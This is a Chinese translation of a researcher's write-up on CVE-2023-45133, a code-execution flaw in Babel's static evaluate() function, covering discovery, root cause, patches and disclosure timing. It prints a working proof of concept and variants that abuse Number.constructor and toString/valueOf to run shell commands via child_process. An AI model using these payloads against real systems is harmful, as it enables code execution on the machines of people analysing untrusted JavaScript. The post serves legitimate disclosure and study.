CVE-2023-45133:发现 Babel 中的任意代码执行漏洞
本页面由 PageTurner AI 翻译(测试版)。未经项目官方认可。 发现错误? 报告问题 →
2023年10月10日,我在Babel中发现了一个任意代码执行漏洞,该漏洞随后被分配了CVE-2023-45133编号。本文将带您深入了解这个有趣漏洞的发现和利用过程。
本文最初发表于William Khem Marquez的博客。他还发表过一系列关于使用Babel进行JavaScript代码反混淆的文章:欢迎阅读!
使用Babel进行逆向工程/代码反混淆的开发人员都喜欢它提供的丰富内置功能。其中最实用的功能之一是能够通过path.evaluate()和path.evaluateTruthy()进行静态表达式求值。我在之前的文章中已经介绍过相关技术:
等等,我刚才说的是_静态求值_?
漏洞利用
在深入细节之前,我们先来看看我构思的概念验证:
概念验证
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const source = `String({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;
const ast = parser.parse(source);
const evalVisitor = {
Expression(path) {
path.evaluate();
},
};
traverse(ast, evalVisitor);
如下图所示,这段代码会简单地将id命令的执行结果输出到终端。
┌──(kali㉿kali)-[~/Babel RCE]
└─$ node exploit.js
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)
当然,攻击载荷可以修改为执行任何操作,例如窃取数据或建立反向shell连接。
漏洞分析
要理解此漏洞的成因,我们需要分析问题函数evaluate的源代码。修复前的babel-traverse/src/path/evaluation.ts源代码存档于此处
/**
* Walk the input `node` and statically evaluate it.
*
* Returns an object in the form `{ confident, value, deopt }`. `confident`
* indicates whether or not we had to drop out of evaluating the expression
* because of hitting an unknown node that we couldn't confidently find the
* value of, in which case `deopt` is the path of said node.
*
* Example:
*
* t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
* t.evaluate(parse("!true")) // { confident: true, value: false }
* t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
*
*/
export function evaluate(this: NodePath): {
confident: boolean;
value: any;
deopt?: NodePath;
} {
const state: State = {
confident: true,
deoptPath: null,
seen: new Map(),
};
let value = evaluateCached(this, state);
if (!state.confident) value = undefined;
return {
confident: state.confident,
deopt: state.deoptPath,
value: value,
};
}
当在NodePath上调用evaluate时,它会经过evaluatedCached包装器,最终进入执行核心逻辑的_evaluate函数。漏洞正是存在于_evaluate函数中。
该函数负责递归分解AST节点,直至找到可安全求值的原子操作。大多数基础场景仅处理原子操作(例如两个字面量之间的二元表达式)。但存在少数例外情况。
我们关注的两处关键源代码分别是对函数调用表达式和对象表达式的处理:
漏洞源代码
Relevant _evaluate source code
const VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
const VALID_IDENTIFIER_CALLEES = [
"isFinite",
"isNaN",
"parseFloat",
"parseInt",
"decodeURI",
"decodeURIComponent",
"encodeURI",
"encodeURIComponent",
process.env.BABEL_8_BREAKING ? "btoa" : null,
process.env.BABEL_8_BREAKING ? "atob" : null,
] as const;
const INVALID_METHODS = ["random"] as const;
function isValidObjectCallee(
val: string
): val is (typeof VALID_OBJECT_CALLEES)[number] {
return VALID_OBJECT_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isValidIdentifierCallee(
val: string
): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
return VALID_IDENTIFIER_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
return INVALID_METHODS.includes(
// @ts-expect-error val is a string
val
);
}
function _evaluate(path: NodePath, state: State): any {
/** snip **/
if (path.isObjectExpression()) {
const obj = {};
const props = path.get("properties");
for (const prop of props) {
if (prop.isObjectMethod() || prop.isSpreadElement()) {
deopt(prop, state);
return;
}
const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
let key;
// @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
if (prop.node.computed) {
key = keyPath.evaluate();
if (!key.confident) {
deopt(key.deopt, state);
return;
}
key = key.value;
} else if (keyPath.isIdentifier()) {
key = keyPath.node.name;
} else {
key = (
keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
).value;
}
const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
let value = valuePath.evaluate();
if (!value.confident) {
deopt(value.deopt, state);
return;
}
value = value.value;
// @ts-expect-error key is any type
obj[key] = value;
}
return obj;
}
/** snip **/
if (path.isCallExpression()) {
const callee = path.get("callee");
let context;
let func;
// Number(1);
if (
callee.isIdentifier() &&
!path.scope.getBinding(callee.node.name) &&
(isValidObjectCallee(callee.node.name) ||
isValidIdentifierCallee(callee.node.name))
) {
func = global[callee.node.name];
}
if (callee.isMemberExpression()) {
const object = callee.get("object");
const property = callee.get("property");
// Math.min(1, 2)
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
// "abc".charCodeAt(4)
if (object.isLiteral() && property.isIdentifier()) {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
const type = typeof object.node.value;
if (type === "string" || type === "number") {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
context = object.node.value;
func = context[property.node.name];
}
}
}
if (func) {
const args = path
.get("arguments")
.map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
}
/** snip **/
}
函数调用的处理
首先要理解的是:虽然函数调用确实可以被求值,但它们需要经过白名单检查,依赖于VALID_OBJECT_CALLEES或VALID_IDENTIFIER_CALLEES数组。
函数调用的处理分为三种情况:
-
当被调用对象是标识符,且该标识符在
VALID_OBJECT_CALLEES或VALID_IDENTIFIER_CALLEES白名单中时 -
当被调用对象是成员表达式,其主对象是标识符,该标识符在
VALID_OBJECT_CALLEES白名单中,且属性未被列入INVALID_METHODS黑名单时 -
当被调用者是成员表达式,其对象为字面量,且属性是字符串/数字字面量时。
其中最值得关注的是第二种情况:
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
/** snip **/
if (func) {
const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
唯一被列入黑名单的方法是 random(属于 Math 对象)。这意味着白名单中的 Number、String 或 Math 对象的任何其他方法都可以直接调用。
在 JavaScript 中,所有类都是函数。由于 Number 和 String 是全局 JavaScript 类,它们的 constructor 属性指向 Function 构造函数。
因此以下两个表达式是等价的:
Number.constructor('javascript_code_here;');
Function('javascript_code_here;');
向 Function 构造函数传入任意字符串会返回一个函数,该函数在被调用时将执行提供的字符串作为 JavaScript 代码。
由 Number.constructor('javascript_code_here;') 生成的 AST 节点包含:
- 一个调用表达式,其中:
- 被调用者是成员表达式,其中:
- 对象是标识符(名称在白名单
VALID_OBJECT_CALLEES中) - 属性是标识符(未列入
INVALID_METHODS黑名单)
- 对象是标识符(名称在白名单
- 参数是单个字符串字面量,包含要执行的代码
- 被调用者是成员表达式,其中:
因此该代码被视为安全可评估,我们成功构造了恶意函数。
但关键要注意:这_无法自行调用函数_,仅创建匿名函数。
那么我们究竟_如何_调用函数?这就是第二个关键环节:对象表达式。
对象表达式的处理
在 Babel 的 _evaluate 方法中,ObjectExpression 节点会经过递归求值生成真实的 JavaScript 对象。ObjectProperty 的键名没有限制,只要 ObjectExpression 中的每个 ObjectProperty 子节点在 _evaluate() 中都返回 confident: true,就能获得具有自定义键/值的 JavaScript 对象。
关键要利用 toString 属性(MDN 参考)。将我们控制的函数定义为此属性,就能在对象转换为字符串时执行任意代码。
这正是我们在 payload 中的操作:
String(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
将通过 Function 构造函数创建的恶意函数赋值给对象的 toString 属性。当该对象进行字符串转换时,该函数会被触发执行。
在示例中,我们将对象传递给 String 函数(白名单函数,情况1中引用)。但 String 构造函数并非必须,JavaScript 的隐式类型强制转换也能触发恶意函数,如下列替代 payload 格式所示:
""+(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
1+(({ valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
第一个示例利用类型强制将对象转为字符串,第二个示例则利用类型强制转为数字(详见 Object.prototype.valueOf())。两个示例都利用了 _evaluate() 处理 BinaryExpression 节点的方式——递归求值左右操作数后直接执行操作。
补丁
在披露此漏洞后,Babel 团队的迅速响应令我印象深刻,他们立即推出了补丁。该补丁分为两部分发布:
第一个修复方案是为所有受影响的官方 Babel 包提供了临时解决方案:通过 isPure() 检查来防护对 evalute() 的调用。isPure 本身就能预防此漏洞,因为它对所有 MemberExpression 节点返回 false。PR #16032: 更新 babel-polyfills 包
后续步骤改进了 evaluate() 函数。该调整确保所有继承方法(不仅是 constructor)都会被阻止调用。PR #16033: 仅评估自有 String/Number/Math 方法
修复完成后,GitHub 工作人员针对此安全公告发布了 CVE-2023-45133。
关于披露时机的补充说明
您可能注意到本文与安全公告同日发布。对于关键漏洞,通常惯例是等待一段时间再披露概念验证(PoC)。但我认为本次披露时机是合理的,原因如下:
绝大多数 Babel 用户不受此漏洞影响。Babel 主要用于重构和转译自有代码,典型使用场景不会让用户暴露于此风险。服务器端实现中通过编译插件或调用 path.evaluate 接受并处理用户任意代码的情况极为罕见。实际上,在服务器端使用 Babel 分析不可信代码的真实用例仅有两类:
-
逆向工程反爬虫软件等
-
恶意软件分析
第一种情况中,任何正规的反爬虫服务商都因法律风险不会尝试远程代码执行(RCE)。而使用 Babel 进行恶意软件逆向分析的专业人员,具备在受控沙盒环境中开展分析的能力。因此在真实场景中,该漏洞对社区的威胁微乎其微。
结论
发现并深挖此漏洞是段有趣的经历。最初是在为多伦多大学 CTF 竞赛设计 Babel 相关挑战时,我在构思完全不同的非安全相关"漏洞"时偶然发现了它。
该漏洞主要影响集成不可信代码与 Babel 的场景。遗憾的是,这使利用 Babel 进行"静态反混淆"的人员直接暴露在此攻击向量下。
颇具讽刺的是,我的首个 CVE 竟源于逆向工程 Babel——这个我常用于 JavaScript 逆向工程的工具,也是我所有往期文章的主题 🤣。
这是次宝贵的学习经历,希望本文对您也有所助益。感谢阅读,保重!